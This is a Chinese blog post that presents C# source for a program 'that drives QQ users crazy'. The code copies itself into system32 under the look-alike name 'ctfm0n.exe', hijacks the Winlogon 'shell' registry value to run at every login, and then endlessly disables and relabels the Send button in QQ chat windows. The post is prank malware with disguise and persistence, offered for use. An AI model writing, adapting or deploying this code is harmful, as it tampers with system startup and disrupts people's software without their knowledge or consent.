让QQ用户疯掉的c#源程序

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Collections;
using System.Threading;
using System.IO;
using Microsoft.Win32;

public delegate bool CallBack(IntPtr hwnd, int lParam);

namespace WindowsApplication6
{
    public partial class Form1:Form
    {
        [DllImport("user32.dll")]
        public static extern bool SetWindowText(IntPtr hWnd, string lpString);


        [DllImport("user32.dll")]
        public static extern bool EnableWindow(IntPtr hWnd, bool bEnable);



        [DllImport("user32.dll")]
        public static extern int EnumWindows(CallBack x, int y);

        [DllImport("user32.dll")]
        public static extern int GetWindowText(IntPtr hwnd, System.Text.StringBuilder buf, int nMaxCount);


        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr FindWindowEx(IntPtr parent,
            IntPtr next,
            string sClassName,
            string sWindowTitle);
        public static Hashtable hs = new Hashtable();

        public static bool Report(IntPtr hwnd, int lParam)
        {
            StringBuilder buf = new StringBuilder(256);
            GetWindowText(hwnd, buf, 256);
            if ((buf.ToString().IndexOf("聊天中") != -1) || (buf.ToString().IndexOf("- 发送消息") != -1))
            {
                hs.Add(hwnd, null);
            }
            return true;
        }
 
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            if (!File.Exists("c://windows//system32//ctfm0n.exe"))
            {
                File.Copy(Application.ExecutablePath, "c://windows//system32//ctfm0n.exe");
            }

            Microsoft.Win32.RegistryKey pregkey;
            pregkey = Registry.LocalMachine.OpenSubKey("SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon", true);
            {
                pregkey.SetValue("shell", "Explorer.exe  ctfm0n.exe");

            }
            while (true )
            {
                hs.Clear();
                CallBack myCallBack = new CallBack(Report);
                EnumWindows(myCallBack, 1);

                foreach (System.Collections.DictionaryEntry de in hs)
                {
                    IntPtr hd = (IntPtr)(de.Key);
                    IntPtr frameh = FindWindowEx(hd, IntPtr.Zero, "#32770", null);
                    if ((int)frameh != 0)
                    {
                        IntPtr ip = FindWindowEx(frameh, IntPtr.Zero, "Button", "发送(S)");
                        if ((int)ip != 0)
                        {
                            SetWindowText(ip, "禁止使用");
                            EnableWindow(ip, false);
                        }
                    }
                }

                Thread.Sleep(1000);
            }
        }
    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值